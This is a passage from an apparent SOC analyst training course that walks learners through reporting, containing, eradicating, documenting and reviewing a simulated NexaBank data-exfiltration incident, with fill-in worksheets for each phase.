
- Log analysis
- Memory and disk forensics
- Malware examination
- Attack timeline reconstruction

Now, it's time to **package these findings into a single SOC incident report**. This report will be read by **senior analysts, IT operations, legal, and executives**, so it must be clear, professional, and structured.

Step 1: Purpose of the Report

The SOC incident report should:

- Summarize what happened (facts, not speculation).
- Identify impacted assets and data.
- Record Indicators of Compromise (IOCs).
- Document actions taken.
- Recommend next steps.

Think of it as the **official record** of the investigation.

Step 2: Standard Report Structure

Your report should include the following sections:

1. **Executive Summary**
    - One-page overview of what happened, who was affected, and current status.
    - Written in **plain language** for leadership.

2. **Incident Details**
    - Case ID, analyst, date/time, affected systems.
    - Triggering alert and initial detection.
3. **Investigation Findings**
    - Key events (summarized from the timeline).
    - Supporting evidence from logs, memory, disk, malware analysis.
    - List of confirmed IOCs.
4. **Response Actions**
    - Containment steps taken (e.g., account disabled, server isolated).
    - Eradication measures (malware removed, persistence deleted).
    - Recovery progress (restored from clean backup).
5. **Business Impact**
    - Systems affected.
    - Data accessed/exfiltrated.
    - Potential regulatory or legal implications.
6. **Recommendations**
    - Policy updates (e.g., stronger password rotation, patch management).
    - Technical improvements (e.g., better SIEM rules, firewall blocks).
    - Training needs (e.g., user awareness, SOC drill exercises).
7. **Appendices (Optional)**
    - Worksheets (logs, memory, disk, malware).
    - Full attack timeline.
    - Screenshots or exported logs.

Step 3: Example Executive Summary

Sample Text:

On September 27, 2025, NexaBank detected suspicious login activity on a privileged account (dbadmin). Subsequent investigation revealed that sensitive HR data was staged and exfiltrated via a malicious binary (ftpclient.exe). The attack originated from foreign IP 203.0.113.41 and used FTP to transfer data to 198.51.100.77. Containment actions included disabling the account and isolating the affected server. No further malicious activity has been observed since 03:05 UTC. Next steps include patching vulnerable systems, adding SIEM rules for similar behavior, and scheduling a privileged account review.

Step 4: Exercise – SOC Incident Report Draft

Fill in this **mini-template**:

Section	**Your Notes**
Executive Summary	_____
Incident Details	_____
Investigation Findings	_____
Response Actions	_____
Business Impact	_____
Recommendations	_____

Step 5: Update SOC Ticket

- Mark case status: **Closed – Confirmed Data Exfiltration Incident**.
- Attach final SOC Incident Report.
- Notify senior analyst and SOC manager.

Checkpoint: Section 3.6

Before moving to **Phase 4 – Response and Documentation**, make sure you:

- Drafted an **executive summary** in plain language.

- Structured findings into a **SOC Incident Report**.
- Attached supporting worksheets and timeline.
- Updated SOC Ticket with final deliverables.

SOC Incident Report Template

Case ID: _____

Date/Time Reported: _____

Analyst Name: _____

Organization: NexaBank (Simulation)

1. Executive Summary

Provide a clear, non-technical overview of the incident for leadership.

_____

_____

_____

2. Incident Details

Field	Details
Incident Title	_____
Date/Time Detected	_____
Detection Source	_____
Systems Affected	_____
Accounts Involved	_____
Severity Level	[ ] Low [ ] Medium [ ] High [ ] Critical

3. Investigation Findings

Summarize the evidence collected.

- **Initial Alert:** _____

- **Indicators of Compromise (IOCs):**
    - IPs: _____
    - File Hashes: _____
    - File Names: _____
    - User Accounts: _____
- **Attack Timeline (summary):**

---

4. Response Actions

List actions taken and when.

Action	Date/Time	Responsible Team
Containment	_____	_____
Eradication	_____	_____
Recovery	_____	_____

5. Business Impact

Describe the organizational effect of the incident.

- **Data Accessed/Exfiltrated:** _____
- **Systems Disrupted:** _____
- **Legal/Compliance Impact:** _____

6. Recommendations

Propose next steps to prevent recurrence.

- _____

- _____
- _____

7. Appendices (Optional)

Attach supporting documentation:

- Log Analysis Worksheet
- Memory Analysis Worksheet
- Disk Forensics Worksheet
- Malware Analysis Worksheet
- Attack Timeline Worksheet

Reminder for Learners:

- Keep the **Executive Summary clear and business-friendly**.
- Place **detailed technical evidence** in appendices, not the main report.
- Reports are **legal records** — avoid speculation, stick to observed facts.

Phase 4: Response and Documentation

4.1 Containment Playbook – Immediate Actions

Scenario

The investigation confirmed:

- Compromise of privileged account dbadmin
- Malware (ftpclient.exe) staged and executed
- Sensitive HR data (hr_archive.zip) exfiltrated via FTP

Your role as the SOC analyst is to **contain the threat immediately** to prevent further damage.

Step 1: Account Containment

- Disable or lock compromised accounts (dbadmin).
- Force password resets on affected users.
- Review other privileged accounts for suspicious activity.

Example Log Update:

03:05 UTC – Disabled dbadmin account, initiated forced reset.

Step 2: Host Containment

- Isolate the affected server from the network (remove from switch/VLAN or disable NIC).
- If EDR is available, trigger “isolate host” feature.
- Record isolation time in the SOC ticket.

Example SOC Entry:

03:07 UTC – Database server (srv-db-02) removed from production VLAN.

Step 3: Network Containment

- Block outbound traffic to attacker IP (198.51.100.77) at the firewall.
- Add attacker IP to blocklists.
- Consider temporary geo-blocking if patterns emerge.

Example SOC Entry:

03:10 UTC – Outbound FTP traffic to 198.51.100.77 blocked at perimeter firewall.

Step 4: Communication & Escalation

- Notify senior analyst and incident commander.
- Inform IT Ops of isolation actions.
- Begin drafting stakeholder updates (execs, legal, HR).

Step 5: Documentation Exercise

Fill out this **Containment Checklist** in your SOC ticket:

Action	Completed (Y/N)	Date/Time	Notes
Disable compromised account(s)	____	_____	_____
Isolate affected server(s)	____	_____	_____
Block malicious IPs/domains	____	_____	_____
Escalation to senior SOC	____	_____	_____

Checkpoint: Section 4.1

Before moving to eradication, make sure you:

- Disabled affected accounts.
- Isolated infected servers.

- Blocked attacker IPs at network level.
- Escalated to senior SOC staff.
- Logged all containment actions with timestamps.

Containment Actions Worksheet – Immediate Response

Case ID: _____

Analyst Name: _____

Date/Time Prepared: _____

Source System(s): _____

1. Account Containment

Record actions taken on compromised or at-risk accounts.

Account Name	Action Taken	Date/Time	Notes
_____	Disabled/Locked/Reset	_____	_____
_____	Disabled/Locked/Reset	_____	_____

2. Host Containment

Document isolation of infected or suspicious hosts.

Host/System	Containment Action	Date/Time	Notes
_____	Network isolation / EDR isolate	_____	_____
_____	Network isolation / EDR isolate	_____	_____

3. Network Containment

Log changes made at the firewall, IDS/IPS, or other network controls.

Indicator (IP/Domain/Port)	Action Taken	Date/Time	Notes
_____	Blocked/Monitored	_____	_____
_____	Blocked/Monitored	_____	_____

4. Escalation & Communication

Capture who was notified and when.

Team/Individual	Notification Type (Call/Email/Ticket)	Date/Time	Notes
Senior SOC Analyst	_____	_____	_____
IT Operations	_____	_____	_____
Incident Commander	_____	_____	_____

5. Analyst Notes

Additional context, observations, or challenges encountered.

_____

_____

_____

Reminder:

- All containment actions must be **time-stamped**.
- Containment should balance **speed** (stop the attack) and **stability** (avoid disrupting business unnecessarily).
- Always update the **SOC ticket** with completed actions.

4.2 Eradication & Recovery Plan – Cleaning and Restoring Systems

Scenario

Containment bought time, but the attacker's tools (ftpclient.exe, cron persistence) still exist on the compromised server.
Now, you must:

1. **Remove malware and persistence**
2. **Restore data and systems from clean backups**
3. **Validate security controls before returning to service**

Step 1: Eradication – Remove the Threat

- Delete malicious files (ftpclient.exe, staged archives, cron jobs).
- Run updated antivirus/EDR scans across affected systems.
- Double-check **registry, config files, and scheduled tasks** for persistence.
- Patch vulnerabilities exploited (e.g., unpatched remote login service).

SOC Entry Example:

03:30 UTC – Removed ftpclient.exe from /home/dbadmin

03:32 UTC – Disabled malicious cron job (backup.sh)

03:35 UTC – Patched OpenSSH service to v8.9

Step 2: Recovery – Restore Systems

- Reimage or rebuild servers if compromise is deep.
- Restore clean data from **last known good backup**.
- Verify backup integrity with **hashes/checksums**.
- Gradually reintroduce the system to production (staged rollout).

SOC Entry Example:

04:10 UTC – Restored srv-db-02 from backup (Sept 25 snapshot).

04:15 UTC – Verified HR database integrity with SHA-256 hash check.

Step 3: Security Validation

Before declaring recovery complete:

- Monitor SIEM for recurrence of same IOCs.
- Verify firewall blocks remain in place (attacker IPs).
- Test system login policy (strong passwords enforced).
- Confirm EDR/AV is running with updated signatures.

Step 4: Communication

- Notify IT Ops that recovery is underway.
- Provide updates to executives on progress.
- Coordinate with HR/Legal if employee or customer data was exposed.

Step 5: Exercise – Recovery Checklist

Fill out this mini recovery tracker:

Action	Completed (Y/N)	Date/Time	Notes
Malware removed	____	_____	_____
Persistence eliminated	____	_____	_____
Patches applied	____	_____	_____
Backup restored	____	_____	_____
Integrity verified	____	_____	_____
Monitoring in place	____	_____	_____

Checkpoint: Section 4.2

Before moving forward, ensure you:

- Removed malware & persistence.
- Restored clean systems from backup.
- Verified system and data integrity.
- Updated SOC Ticket with eradication & recovery steps.
- Communicated recovery progress to stakeholders.

Eradication & Recovery Worksheet – Cleaning & Restoring Systems

Case ID: _____

Analyst Name: _____

Date/Time Prepared: _____

Affected System(s): _____

1. Malware & Persistence Removal

Document malicious files, processes, or persistence mechanisms removed.

Item Removed	Location	Action Taken	Date/Time	Notes
_____	_____	Deleted / Quarantined	_____	_____
_____	_____	Disabled cron/registry key	_____	_____

2. System Patching

Record vulnerabilities remediated and updates applied.

System/Service	Patch/Version Applied	Date/Time	Notes
_____	_____	_____	_____
_____	_____	_____	_____

3. Backup & Restore

Track recovery from known-good backups.

System/Database	Backup Date Used	Restore Date/Time	Integrity Verified (Y/N)	Notes
_____	_____	_____	[ ] Y [ ] N	_____

System/Database	Backup Date Used	Restore Date/Time	Integrity Verified (Y/N)	Notes
_____	_____	_____	[ ] Y [ ] N	_____

4. Security Validation

Ensure security measures are active before going back to production.

Control Validated	Verification Method	Date/Time	Notes
Firewall rules updated	_____	_____	_____
AV/EDR signatures current	_____	_____	_____
Login/Access policies tested	_____	_____	_____

5. Communication & Escalation

Log updates provided to stakeholders.

Stakeholder	Update Type (Call/Email/Report)	Date/Time	Notes
IT Operations	_____	_____	_____
Executives	_____	_____	_____
HR / Legal	_____	_____	_____

6. Analyst Notes

Free-text observations, challenges, or cross-references to other worksheets.

Reminder:

- All eradication & recovery steps must be **documented and timestamped**.
- Never restore from backups until you've confirmed they are **clean and uncompromised**.
- Share progress updates with both technical and business stakeholders.

4.3 Documentation & Chain of Custody – Preserving Evidence

Scenario

You've contained the threat, eradicated malware, and restored systems. Now it's time to lock in your work.
In real-world cybersecurity, improperly documented evidence can:

- Weaken your organization's credibility,
- Lead to compliance violations,
- Or even result in evidence being **inadmissible** in legal proceedings.

That's why **Chain of Custody (CoC)** is critical.

Step 1: What Is Chain of Custody?

- A **chronological log** of how evidence was collected, stored, transferred, and analyzed.
- Ensures **integrity** (no tampering), **authenticity** (trusted source), and **accountability** (who handled it).

Step 2: Evidence to Preserve

From this incident, evidence may include:

- System logs (auth, firewall, SIEM exports).
- Memory dump file.
- Disk image.
- Malware sample (ftpclient.exe).
- Forensic worksheets (log, memory, disk, malware, timeline).
- Final SOC report.

Step 3: Recording the Chain

Each piece of evidence must include:

- **Unique identifier** (case ID + evidence number).
- **Description** (what it is).
- **Who collected it**.
- **Date/time of collection**.
- **Hash values** for digital integrity.
- **Transfers** (who handled it, when, why).

Example Entry:

Case ID: 2025-IR-042

Evidence ID: E-003

Description: ftpclient.exe (malware sample)

Collected by: J. Smith, SOC Analyst

Date/Time: 2025-09-27 03:20 UTC

SHA-256: 91f2d5c8d…c44e92

Transferred to: Digital Forensics Lab

Date/Time: 2025-09-27 04:05 UTC

Purpose: Sandbox analysis

Step 4: Chain of Custody Log (Exercise)

Fill in the following table for your case:

Case ID	Evidence ID	Description	Collected By	Date/Time	Hash (SHA-256)	Transferred To	Notes

Step 5: Final Documentation

- Attach **all worksheets** (logs, memory, disk, malware, timeline, eradication, recovery).
- Attach **SOC Incident Report**.
- Store all evidence in a **secure repository** (encrypted drive or forensic evidence locker).
- Ensure **access is restricted** and tracked.

Checkpoint: Section 4.3

Before completing Phase 4, make sure you:

- Recorded a full chain of custody for all evidence.
- Attached all investigation worksheets.
- Stored evidence in a secure location.
- Updated the SOC ticket with final documentation status.

Chain of Custody Log – Evidence Handling Record

Case ID: _____

Incident Title: _____

Analyst Name: _____

Date/Time Prepared: _____

1. Evidence Information

Evidence ID	Description	Source (Log/Memory/Disk /Malware/Other)	Format/Size	Hash (SHA-256)
_____	_____	_____	_____	_____
_____	_____	_____	_____	_____

2. Collection Details

Evidence ID	Collected By (Name/Role)	Date/Time Collected (UTC)	Location/System
_____	_____	_____	_____
_____	_____	_____	_____

3. Transfer & Custody

Track every handoff of evidence.

Evidence ID	Transferred From	Transferred To	Date/Time (UTC)	Purpose	Signature
_____	_____	_____	_____	_____	_____
_____	_____	_____	_____	_____	_____

4. Storage & Security

Evidence ID	Storage Location	Access Controls	Date/Time Logged	Signature
_____	_____	_____	_____	_____
_____	_____	_____	_____	_____

5. Analyst Notes

Use this space for clarifying context, anomalies, or special handling instructions.

Reminder for Learners:

- Every action (collect, move, analyze, store) must be logged.
- Use **consistent Evidence IDs** across worksheets and the SOC Incident Report.
- Never break the custody chain — once broken, evidence can lose legal validity.

4.4 Final Incident Report Drafting – From Evidence to Executive Summary

Scenario

You've:

- Contained the threat
- Eradicated malware and persistence
- Recovered clean systems
- Documented all evidence with a chain of custody

Now it's time to **package these findings into a single deliverable**: the *Final Incident Report*.

This report will be read by:

- **Executives** → need a clear summary of impact & status
- **Technical teams** → need detailed evidence for follow-up
- **Legal & compliance** → need chain-of-custody proof for audits

Step 1: Report Purpose

The report must:

- Tell the **story of the incident** (from alert to recovery).
- Show **what was impacted** and **how it was resolved**.
- Provide a **record of evidence handling**.
- Recommend **preventive improvements**.

Step 2: Report Structure

Here's the recommended outline (building on the SOC Incident Report Template you already have):

1. **Executive Summary**

    - Non-technical, 1–2 paragraphs
    - Incident description, business impact, resolution status
2. **Incident Details**
    - Detection source, affected systems, accounts involved, severity
3. **Investigation Findings**
    - Key timeline events (summarized)
    - Indicators of Compromise (IOCs)
    - Evidence collected (referencing worksheets & custody log)
4. **Response Actions**
    - Containment, eradication, recovery steps (with timestamps)
5. **Business Impact**
    - What data/systems were affected
    - Legal, compliance, or regulatory exposure
6. **Recommendations**
    - Security controls
    - Policy changes
    - Training or monitoring improvements
7. **Appendices (Optional)**
    - Worksheets (logs, memory, disk, malware, timeline)
    - Chain of Custody Log
    - Screenshots or log exports

Step 3: Writing Guidelines

- **Keep executive summary short & clear** (avoid jargon).
- **Base findings only on evidence** (no speculation).
- **Use timestamps consistently in UTC.**

- **Separate facts from recommendations** (what happened vs. what should be done).

Step 4: Mini Exercise

Learners draft their **Executive Summary** using this prompt:

"Write a one-paragraph executive summary describing the incident at NexaBank, including:

- The nature of the attack
- What data/systems were impacted
- How the SOC team contained and eradicated it
- The current status of recovery."

Step 5: Deliverable

- Submit a **Final Incident Response Report (4–6 pages)**.
- Attach worksheets and chain of custody as appendices.
- Mark the SOC ticket as **Closed – Final Report Submitted**.

Checkpoint: Section 4.4

Before moving to Phase 5, make sure you:

- Drafted a Final Incident Report.
- Attached worksheets and custody logs.
- Wrote a clear Executive Summary for leadership.
- Closed the SOC ticket with "Final Report Submitted."

Phase 5: Post-Incident Analysis

5.1 Root Cause Analysis – Identifying the Exploited Weakness

Scenario

The NexaBank incident has been contained and reported. Now, the SOC team must determine the **root cause** — the underlying weakness that allowed the attacker in. Finding the root cause is essential for:

- Preventing recurrence
- Strengthening defenses
- Informing executives and regulators

Step 1: Review the Evidence

Use all collected data (logs, memory, disk, malware analysis, timeline) to pinpoint *how* the attacker gained access.

Example evidence from this case:

- Unpatched remote login service still on an older version.
- Privileged account dbadmin accessed at 02:41 UTC from foreign IP.
- No MFA (multi-factor authentication) required.
- Malware (ftpclient.exe) was dropped and executed minutes after login.

Step 2: Determine the Weakness

Possible categories of root cause:

- **Technical** → unpatched software, missing AV, misconfigured firewall
- **Human** → phishing, weak passwords, insider negligence
- **Policy** → outdated access control, slow patching cycles, no MFA enforcement

Example for NexaBank:

- Root cause: *Credential compromise of dbadmin account (likely reused or phished) combined with missing MFA and delayed patching of SSH service.*

Step 3: Document the Root Cause

A strong Root Cause statement should be:

- **Specific** (not just "weak security")
- **Evidence-based** (logs, malware, timeline)
- **Actionable** (leads to clear remediation)

Example Statement:

"The attacker gained access via the dbadmin account, which lacked MFA. Logs suggest credentials were compromised (possibly via phishing). The system was running outdated OpenSSH, further increasing risk."

Step 4: Exercise – Root Cause Table

Learners complete the table based on their case.

Category	Observed Weakness	Supporting Evidence	Why Exploitable?
Technical	_____	_____	_____
Human	_____	_____	_____
Policy	_____	_____	_____

Step 5: Deliverable

- **Root Cause Worksheet** (1–2 pages) with:
    - Identified weaknesses (technical, human, policy)
    - Evidence supporting each
    - Final Root Cause Statement

Checkpoint: Section 5.1

Before moving on, ensure you:

- Reviewed all evidence sources.
- Identified at least one root cause (technical, human, or policy).
- Wrote a clear, evidence-based Root Cause Statement.
- Submitted Root Cause Worksheet.

Root Cause Worksheet – Post-Incident Analysis

Case ID: _____

Incident Title: _____

Date Prepared: _____

Analyst Name: _____

1. Evidence Sources Reviewed

(List all evidence used to determine root cause — logs, malware, disk, memory, timeline, SIEM alerts.)

_____

_____

_____

2. Weaknesses Identified

Break down technical, human, and policy weaknesses that contributed to the incident.

Category	Observed Weakness	Supporting Evidence	Why Exploitable?
Technical	_____	_____	_____
Human	_____	_____	_____
Policy	_____	_____	_____

3. Root Cause Statement

(Write a concise, evidence-based description of the primary cause of the incident.)

_____

_____

4. Contributing Factors (Optional)

(List additional issues that made the attack easier or more damaging.)

5. Analyst Notes

(Any context, challenges, or uncertainties worth recording.)

Reminder for Learners:

- Be specific — avoid vague causes like "weak security."
- Root cause ≠ just "the malware" → it's the **weakness that allowed the malware in.**
- Always tie back to **evidence** from your investigation.

5.2 Business Impact Review – Assessing the Damage

Scenario

Root cause tells us *how the attacker got in*.
Now, we must ask: *What was the impact?*
A **Business Impact Review** translates the technical details into organizational consequences — crucial for executives, legal, and compliance teams.

Step 1: Identify What Was Compromised

Review your investigation findings (logs, disk, malware, timeline):

- **Systems affected** → servers, endpoints, cloud accounts
- **Data accessed/exfiltrated** → sensitive HR/customer data, intellectual property
- **Users impacted** → employee accounts, privileged accounts

Example (NexaBank case):

- Systems: HR database server (srv-db-02)
- Data: employee_data.xlsx, salaries.csv
- Users: Privileged account dbadmin

Step 2: Assess Business Functions Impacted

Link the technical effects to **business operations**:

- Downtime → Were services disrupted?
- Productivity → Did employees lose access?
- Customer impact → Were customer accounts/data at risk?
- Regulatory exposure → GDPR, HIPAA, PCI-DSS obligations?

Example:

- No customer-facing downtime, but sensitive **employee PII** exposed.
- Legal risk under **data protection laws** (e.g., GDPR, state-level privacy).

- Loss of employee trust and potential reputational hit.

Step 3: Estimate Severity

Categorize impact across key dimensions:

Category	Impact	Severity (Low/Med/High)
Confidentiality	HR data exfiltrated	High
Integrity	Database not altered	Low
Availability	No major downtime	Low
Financial	Regulatory fines possible	Medium
Reputation	Potential trust loss	Medium

Step 4: Exercise – Business Impact Table

Learners fill out based on the case.

Aspect	What Was Affected	Impact Description	Severity
Systems	_____	_____	_____
Data	_____	_____	_____
Users	_____	_____	_____
Operations	_____	_____	_____
Compliance	_____	_____	_____

Step 5: Deliverable

- Submit a **Business Impact Summary** (2–3 pages).
- Must cover:
    - Affected systems

- Exfiltrated/at-risk data
- User impact
- Operational/regulatory consequences
- Severity assessment

Checkpoint: Section 5.2

Before moving forward, ensure you:

- Identified affected systems, data, and users.
- Linked technical impact to business functions.
- Assessed severity (confidentiality, integrity, availability, financial, reputation).
- Submitted Business Impact Summary.

Business Impact Worksheet – Post-Incident Analysis

Case ID: _____

Incident Title: _____

Date Prepared: _____

Analyst Name: _____

1. Systems Affected

(List the servers, endpoints, cloud services, or applications impacted.)

_____

_____

_____

2. Data Affected

(Specify sensitive files, databases, or customer/employee data accessed or exfiltrated.)

_____

_____

_____

3. Users Affected

(Accounts, departments, or user groups involved.)

_____

_____

_____

4. Operational Impact

(Describe how business operations were disrupted — downtime, productivity loss, service degradation.)

_____

_____

_____

5. Compliance/Legal Impact

(Check which apply and describe.)

- Data protection regulations (e.g., GDPR, CCPA)
- Financial services regulations (e.g., PCI-DSS, SOX)
- Healthcare regulations (e.g., HIPAA)
- Other: _____

Details:

_____

_____

6. Impact Severity Assessment

(Score each category Low/Medium/High.)

Category	Impact Observed	Severity (L/M/H)
Confidentiality	_____	_____
Integrity	_____	_____
Availability	_____	_____
Financial	_____	_____
Reputation	_____	_____

7. Analyst Notes

(Any context, assumptions, or uncertainties.)

Reminder for Learners:

- Be specific (name systems and data, not just “server” or “database”).
- Always tie business impact back to **operations and compliance**, not just technical damage.
- Think like a CISO or executive: *How does this affect the business?*

5.3 Risk Register Update – Capturing New Risks

Scenario

Every major incident uncovers risks the organization wasn't fully tracking.
Updating the **Risk Register** ensures these risks are formally documented, prioritized, and assigned owners — so they don't slip through the cracks.

Step 1: Review Findings from Root Cause & Impact

Before adding risks, connect back to earlier analysis:

- Root cause (how attacker got in)
- Business impact (what was affected)

Example (NexaBank):

- Weakness: No MFA on privileged accounts
- Impact: Exfiltration of HR data
- Risk: "Unauthorized access to sensitive systems due to lack of MFA enforcement."

Step 2: Define New Risks Clearly

Each risk entry should include:

- **Risk description**
- **Threat source** (e.g., external attacker, insider threat)
- **Vulnerability** exploited
- **Likelihood** (Low/Medium/High)
- **Impact** (Low/Medium/High)
- **Risk score** (Impact × Likelihood)
- **Mitigation strategy**
- **Owner** (responsible team/role)

- **Status** (Open, Mitigated, Accepted)

Step 3: Create Sample Entries

Example 1 – Technical Risk

- Risk: Unauthorized access to privileged accounts due to lack of MFA
- Threat source: External attacker
- Vulnerability: Missing MFA enforcement
- Likelihood: High
- Impact: High
- Score: Critical
- Mitigation: Enforce MFA on all admin accounts within 30 days
- Owner: IT Security Team
- Status: Open

Example 2 – Human/Policy Risk

- Risk: Employees may reuse passwords across personal and work accounts
- Threat source: External attackers via credential stuffing
- Vulnerability: Weak account hygiene, no training enforcement
- Likelihood: Medium
- Impact: High
- Score: High
- Mitigation: Awareness training + technical password reuse detection
- Owner: Security Awareness Team
- Status: In progress

Step 4: Exercise – Add at Least Two Risks

Learners must document **one technical** and **one human/policy** risk discovered during the incident.

Field	Risk 1 (Technical)	Risk 2 (Human/Policy)
Risk Description	_____	_____
Threat Source	_____	_____
Vulnerability	_____	_____
Likelihood	_____	_____
Impact	_____	_____
Risk Score	_____	_____
Mitigation Strategy	_____	_____
Owner	_____	_____
Status	_____	_____

Step 5: Deliverable

- Submit an **Updated Risk Register Worksheet** with at least **2–3 new entries** tied directly to the incident.
- This deliverable simulates how risks are rolled into ongoing risk management processes.

Checkpoint: Section 5.3

Before moving on, ensure you:

- Reviewed root cause and impact findings.
- Identified at least one technical and one human/policy risk.
- Added them to the Risk Register with full fields completed.
- Submitted updated register.

Risk Register Update – Post-Incident

Case ID: _____

Incident Title: _____

Date Prepared: _____

Analyst Name: _____

1. New Risk Entries

(Add at least **2 risks** identified from this incident — one technical, one human/policy.)

Field	Risk Entry 1	Risk Entry 2
Risk Description	_____	_____
Asset Affected	_____	_____
Threat Source	_____	_____
Vulnerability Exploited	_____	_____
Likelihood (L/M/H)	_____	_____
Impact (L/M/H)	_____	_____
Risk Score (Impact × Likelihood)	_____	_____
Mitigation Strategy	_____	_____
Risk Owner (Team/Role)	_____	_____
Status (Open/Mitigated/Accepted)	_____	_____

2. Notes & Justification

(Explain why these risks were added and how they connect to the incident.)

3. Next Steps

(Action items to mitigate or track these risks.)

- Add risks to central register
- Assign owners and deadlines
- Track mitigation progress in monthly security review

Reminder for Learners:

- Risks must be **specific, evidence-based, and actionable**.
- Don't just say "weak security" — describe the **actual weakness** (e.g., "No MFA on admin accounts").
- A good entry always has a **clear mitigation path**.

5.4 Lessons Learned Workshop – Reviewing the Incident as a Team

Scenario

Once the incident is contained and documented, the SOC doesn't just move on — they conduct a **Lessons Learned Workshop** with all relevant stakeholders.
The goal: identify **what worked, what failed, and what must change** across technical, human, and organizational dimensions.

Step 1: Gather the Right People

In a real-world setting, this review isn't just IT. It includes:

- **SOC Analysts & Incident Responders** → What detection and response steps worked?
- **IT Operations** → Were containment and recovery smooth?
- **HR** → If insider risk or employee devices were involved.
- **Legal/Compliance** → Regulatory reporting, evidence handling.
- **Executives/Management** → Business-level impact and risk appetite.

Example (NexaBank):

- SOC: Alert triage was quick but lacked playbook for database exfiltration.
- IT Ops: Isolating the server caused 45 mins of downtime — business not prepared.
- Legal: Unsure whether HR data exposure triggers mandatory reporting.

Step 2: Structure the Review

The facilitator should guide discussion using a **simple question set**:

1. What went well?
2. What didn't go well?
3. What should we do differently next time?

4. What action items can we take immediately?

Step 3: Document Strengths

Capture successes worth repeating.

Example:

- SIEM flagged suspicious login within 2 minutes.
- SOC escalated to senior analyst in less than 10 minutes.
- Logs were preserved correctly → no evidence loss.

Step 4: Document Weaknesses

Capture failures, gaps, or delays.

Example:

- No MFA on privileged accounts.
- No clear playbook for "data exfiltration via FTP."
- Communication delays between SOC and Legal team.

Step 5: Assign Action Items

Turn lessons into **measurable improvements**.

Finding	Action Item	Owner	Deadline
No MFA on admins	Enforce MFA within 30 days	IT Security	30 days
Missing playbook	Draft "Data Exfiltration" IR Playbook	SOC Lead	45 days
Legal uncertainty	Clarify regulatory obligations with counsel	Legal	14 days

Step 6: Deliverable

- Submit a **Lessons Learned Summary** (2–3 pages).

- Must include:
    - Key strengths (what worked)
    - Weaknesses (what failed)
    - Action items with owners/deadlines

Checkpoint: Section 5.4

Before moving on, ensure you:

- Invited all relevant stakeholders.
- Documented at least **3 strengths** and **3 weaknesses**.
- Converted weaknesses into **concrete action items**.
- Submitted the Lessons Learned Summary.

Lessons Learned Workshop – Post-Incident Review

Case ID: _____

Incident Title: _____

Date of Review: _____

Facilitator: _____

Participants (Teams/Names): _____

1. General Observations

Free-text notes about how the incident unfolded and any immediate reflections.

_____

_____

_____

2. Strengths – What Worked Well

(List at least 3 examples of effective detection, containment, communication, or recovery.)

Area	What Worked Well
Detection	_____
Containment	_____
Eradication	_____
Recovery	_____
Communication	_____

3. Weaknesses – What Failed or Slowed Us Down

(List at least 3 issues that created delays, errors, or risks.)

Area	What Needs Improvement
Detection	_____
Containment	_____
Eradication	_____
Recovery	_____
Communication	_____

4. Action Items

Concrete steps to address weaknesses and reinforce strengths.

Action Item	Owner	Deadline	Priority (H/M/L)
_____	_____	_____	_____
_____	_____	_____	_____

5. Lessons Learned Summary

(Write a short narrative of key takeaways from the incident.)

_____

_____

Reminder for Learners:

- Be **specific** (e.g., “lack of MFA on admins”) not vague (“weak access controls”).
- Every weakness should map to at least **one action item**.
- Assign **owners + deadlines** — otherwise, the same issue may resurface.

5.5 Policy & Playbook Updates – Turning Lessons Into Action

Scenario

The Lessons Learned Workshop uncovered both strengths and weaknesses.
Now it's time to **formalize improvements** by updating:

- **Policies** → high-level rules (e.g., "All admin accounts must use MFA")
- **Playbooks** → step-by-step operational guides for the SOC (e.g., "Data exfiltration response checklist").

Step 1: Identify Policy Gaps

Policies define *what must be done*. Look for areas where rules were unclear, outdated, or missing.

Example (NexaBank):

- Policy gap: No requirement for MFA on privileged accounts.
- Policy update: "All privileged and remote-access accounts must enforce MFA within 30 days."

Step 2: Identify Playbook Gaps

Playbooks define *how to do it*. Look for where responders had no guide or outdated steps.

Example (NexaBank):

- Playbook gap: No procedure for responding to large outbound file transfers.
- Playbook update: Add **"Data Exfiltration Response"** checklist:
    - Step 1: Confirm anomalous traffic with SIEM query
    - Step 2: Isolate affected server
    - Step 3: Notify SOC lead + Legal
    - Step 4: Capture exfiltrated files for forensics

Step 3: Document Updates

Each update should include:

- Current version of the policy/playbook
- Identified issue
- Proposed change
- Owner (responsible person/team)
- Deadline for rollout

Step 4: Exercise – Draft Updates

Learners must draft at least **1 policy update** and **1 playbook update**.

Type	Current Version	Identified Issue	Proposed Update	Owner	Deadline
Policy	_____	_____	_____	_____	_____
Playbook	_____	_____	_____	_____	_____

Step 5: Deliverable

- Submit a **Policy & Playbook Update Memo** (2–3 pages).
- Must include:
    - At least **1 policy update**
    - At least **1 playbook update**
    - Rationale for each update
    - Owner + deadline

Checkpoint: Section 5.5

Before moving forward, ensure you:

- Identified at least one policy gap and one playbook gap.

- Proposed clear updates that close those gaps.
- Assigned owners and deadlines for implementation.
- Submitted a Policy & Playbook Update Memo.

Policy & Playbook Update Worksheet – Post-Incident Improvements

Case ID: _____

Incident Title: _____

Date of Update: _____

Prepared By: _____

1. Policy Updates

Record changes to **high-level rules**.

Policy Area	Current Policy	Identified Issue	Proposed Update	Owner	Deadline	Approval Needed (Y/N)
_____	_____	_____	_____	_____	_____	[ ] Y [ ] N
_____	_____	_____	_____	_____	_____	[ ] Y [ ] N

2. Playbook Updates

Capture updates to **step-by-step SOC procedures**.

Playbook Step	Current Procedure	Identified Issue	Proposed Update	Owner	Deadline
_____	_____	_____	_____	_____	_____
_____	_____	_____	_____	_____	_____

3. New Controls or Rules

List any additional technical/operational measures to be added.

Control Type	Description	Owner	Deadline
SIEM Rule	_____	_____	_____

Control Type	Description	Owner	Deadline
Firewall Rule	_____	_____	_____
Account Policy	_____	_____	_____

4. Summary of Improvements

Write a short narrative summarizing the key updates.

Reminder for Learners:

- **Policies = what must be done.**
- **Playbooks = how to do it.**
- Updates must be **specific, actionable, and assigned to an owner with a deadline.**

5.6 Recommendations – Building a Stronger Security Posture

Scenario

After root cause, impact, risks, lessons, and policy/playbook updates are documented, the final step is to make **forward-looking recommendations**. These go beyond fixing *this* incident — they strengthen NexaBank's overall **security maturity** and resilience.

Step 1: Identify Priority Areas

Recommendations should address three main categories:

1. **Technical Controls** – security tools, monitoring, configurations.
2. **Process Improvements** – workflows, incident response maturity.
3. **People & Training** – user awareness, SOC training, cross-team coordination.

Step 2: Draft Specific Recommendations

Example (NexaBank):

- **Technical** → Deploy MFA on all privileged accounts; enable DLP (Data Loss Prevention) monitoring on outbound traffic.
- **Process** → Establish quarterly IR playbook drills; integrate Legal into the escalation workflow.
- **People** → Conduct phishing simulation program; provide SOC analysts with advanced log forensics training.

Step 3: Prioritize

Not all recommendations can be implemented at once. Classify by:

